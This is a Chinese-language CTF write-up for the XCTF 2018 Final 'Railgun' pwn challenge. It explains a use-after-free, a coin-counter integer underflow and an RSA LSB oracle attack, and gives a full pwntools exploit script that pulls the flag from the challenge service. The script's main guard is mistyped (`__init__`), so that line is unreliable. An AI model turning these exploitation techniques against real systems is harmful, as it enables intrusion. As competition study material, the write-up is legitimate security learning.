XCTF 2018 Final - Railgun Writeup

上周去北京打XCTF-Final，被各位大哥打到自闭。第一天长者复读了一道攻防pwn题，我做另一个带密码学的攻防pwn题，看了下流量，回到宾馆后终于调了出来。题目质量还不错，感谢JHSN和Cyrus的帮助，以下是wp。

Railgun

You can get the binary from here

程序主要的逻辑是一个挖coin然后使用railgun发射coin来打boss的游戏。(强行睿智

程序初始化会将flag+padding用随机生成的RSA公钥加密。每一个Boss都是一个随机的AES key，用一个coin打败Boss并再使用一个coin可以得到用RSA私钥解密用户输入并用AES_ECB加密RSA结果的最后半字节。在这个过程中用户已知的变量有n, e, pow(flag+padding, e, n)。

UAF

程序在功能6 accelerator attack中可以消耗200个coin直接击败Boss9，这里存在一个UAF。Boss9在被free掉之后依然可以和正常的Boss一样被打败然后进行AES_ECB加密。

Bypass AES_ecb

利用accelerator attack中的UAF，再利用comment功能，指定注释长度为16就可以malloc到之前free掉的Boss9，这样就可以控制一个AES key。

RSA LSB Oracle Attack

之后进入密码学时间

已知n, e;

flagCipher = pow(flag+padding, e, n)

击杀Boss可以获得 AES_ecb(pow(input, d, n) % 16, Boss)

因为Boss9已经被控制了，所以相当于返回的是pow(input, d, n) % 16

使用RSA LSB Oracle Attack

假设攻击者已知x个最后半字节，设未知部分为a，已知部分是b，则有\(f = a * 16^{x} + b\)

令\(y = 16^{-x}\ mod\ n, Y = y^{e}\ mod\ n\)

输入\(flagCipher * Y\)，则会返回\(fy = a + b * 16^{-x}\ mod\ n\ mod\ 16\)

因为\(b * 16^{-x}\ mod\ 16\)已知，所以可以求出\(a\ mod\ 16\)

Exploit

利用UAF控制Boss9的内容，然后用RSA LSB Oracle Attack逐半字节攻击出flag

from pwn import *
import os
import base64
import hashlib
from Crypto import Random
from Crypto.Cipher import AES

pad = lambda x: x+(chr(16-len(x)) * (16-len(x)))

def aesecb_decrypt(enStr, key):
    cipher = AES.new(key, AES.MODE_ECB)
    enStr = pad(enStr)
    return cipher.decrypt(enStr)

def ex_gcd(m, n):
    x, y, x1, y1 = 0, 1, 1, 0
    while m % n:
        x, x1 = x1 - m // n * x, x
        y, y1 = y1 - m // n * y, y
        m, n = n, m % n
    return n, x, y

def mod_inv(x, p):
    g, y, k = ex_gcd(x, p)
    if y < p:
        y += p
    return y

def pwn(p):
    p.recvuntil('[+]PoW:')
    sha256 = p.recvuntil('+', drop=True)
    s = p.recvuntil('\n', drop=True).decode('hex')
    for i in xrange(0x10000):
        if hashlib.sha256(s + p16(i)).hexdigest() == sha256:
            p.sendline(p16(i).encode('hex'))
            break

    p.recvuntil('[-]description:')
    p.sendline('-')
    p.recvuntil('[-]name:')
    p.sendline('Kyr1os')

    e = 0x10001
    n1 = get_pub(p)
    inv16 = mod_inv(16, n1)
    flag_cipher = get_flag_cipher(p)

    mining(p)
    shoot(p, 1, '1'*256) # get 1 - 2 = 255 coins

    p.recvuntil('[-]')
    p.sendline('6') # accerate
    for i in range(10): # for remote
        comment(p, 18, '\x00'*18)
    x = 0
    Y = 1
    b = 0
    for round in range(200):
        drop = shoot(p, 9, hex(flag_cipher * Y)[2:].upper())
        half_byte = aesecb_decrypt(drop.decode('hex'), '\x00'*16)[0]
        half_byte = (int(half_byte, 16)+16-((b * pow(inv16, x, n1)) % n1 % 16)) % 16
        b += (half_byte * (16 ** x))
        x += 1
        y = pow(inv16, x, n1)
        Y = pow(y, e, n1)
    print hex(b)[2:].decode('hex') # flag

def mining(p):
    p.recvuntil('[-]')
    p.sendline('2')
    p.recvuntil('mining:')
    sha256 = p.recvuntil('+', drop=True)
    s = p.recvuntil('\n', drop=True).decode('hex')
    for i in xrange(0x10000):
        if hashlib.sha256(s + p16(i)).hexdigest() == sha256:
            p.sendline(p16(i).encode('hex'))
            break

def get_pub(p):
    p.recvuntil('[-]')
    p.sendline('3')
    p.recvuntil('pub:')
    pub = p.recv(256)
    return int(pub, 16)

def get_flag_cipher(p):
    p.recvuntil('[-]')
    p.sendline('4')
    p.recvuntil('attack\n[+]')
    flagc = p.recv(256)
    return int(flagc, 16)

def shoot(p, boss_id, payload):
    p.recvuntil('[-]')
    p.sendline('5')
    p.recvuntil('boss:')
    p.sendline(str(boss_id))
    p.recvuntil('send:')
    p.sendline(payload)
    p.recvuntil('coins(1/0):')
    p.sendline('1')
    p.recvuntil('pickup:')
    cipher = p.recv(32)
    return cipher

def comment(p, len, payload):
    p.recvuntil('[-]')
    p.sendline('7')
    p.recvuntil('lenth:')
    p.sendline(str(len))
    p.recvuntil('comment:')
    p.send(payload)

if __init__ == "__main__":
    p = remote('192.168.17.12', 20002)
    pwn(p)

Trick

程序中存在一个检查不严格导致的整数下溢，当你拥有一个coin时对一个Boss连续使用两个coins可以使你的coin数下溢变成255，并且只要你两个两个的用，硬币就永远都用不完。这个trick可以极大的加速你的攻击脚本。(毕竟是个攻防题
在远端利用UAF时，由于环境因素，在执行comment中的malloc时，即使大小合适，也不一定能每次都拿到Boss9的那个块（虽然在本地测试的时候几乎每次都能通）。所以建议多comment几次来提高成功率。（连续申请十次的话基本每次都能通的）